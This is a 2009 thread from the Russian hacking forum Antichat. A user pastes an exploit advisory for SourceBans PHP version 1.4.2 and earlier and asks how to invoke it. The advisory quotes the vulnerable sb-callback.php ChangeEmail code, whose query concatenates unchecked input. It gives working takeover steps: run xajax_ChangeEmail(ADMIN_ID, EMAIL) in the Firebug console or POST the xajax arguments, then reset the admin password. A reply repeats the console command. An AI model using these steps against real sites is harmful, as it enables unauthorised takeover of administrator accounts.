Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Болталка (https://forum.antichat.xyz/forumdisplay.php?f=46)
-   -   Непонятный Эксплоит. (https://forum.antichat.xyz/showthread.php?t=129551)

shOotzy 13.07.2009 09:33

Непонятный Эксплоит.
 
Помогите разобраться в этом эксплоите :

Код:

Sourcebans (PHP) (sb-callback.php) Author: Mr. Anonymous ------ Vendor:http://www.sourcebans.com Affected Versions: <= 1.4.2 ----- Exploit (sb-callback lines 185-204): ------------- function ChangeEmail($aid, $email) { ...SNIP... $GLOBALS['db']->Execute("UPDATE `".DB_PREFIX."_admins` SET `email` = '".$email."' WHERE `aid` = '".$aid."'"); $objResponse->addScript("ShowBox('E-mail address changed', 'Your E-mail address has been changed successfully.', 'green', 'index.php?p=account', true);"); $log = new CSystemLog("m", "E-mail Changed", "E-mail changed for admin (".$aid.")"); return $objResponse; } ------- How to Exploit ------- No checking is done to verify you own that email address. You can simply submit a post request with the following arguments, to change any admins email with your own (or a temporary one), and then reset their password, then get full admin access. You can download firebug for firefox, and simply run in the console "xajax_ChangeEmail(ADMIN_ID, EMAIL_TO_CHANGE_TO)", otherwise you need to send these variables to index.php via POST: xxajax: ChangeEmail xajaxargs[]: ADMIN_ID xajaxargs[]: EMAIL_TO_CHANGE_TO
Первый раз с толкнулся с таким эксплоитом...
Как его вызвать ?

diznt 13.07.2009 09:41

http://forum.antichat.ru/showpost.php?p=1363169&postcount=142

Flegmatique 13.07.2009 15:27

You can download firebug for firefox, and simply run in the console "xajax_ChangeEmail(ADMIN_ID, EMAIL_TO_CHANGE_TO)"


Время: 22:52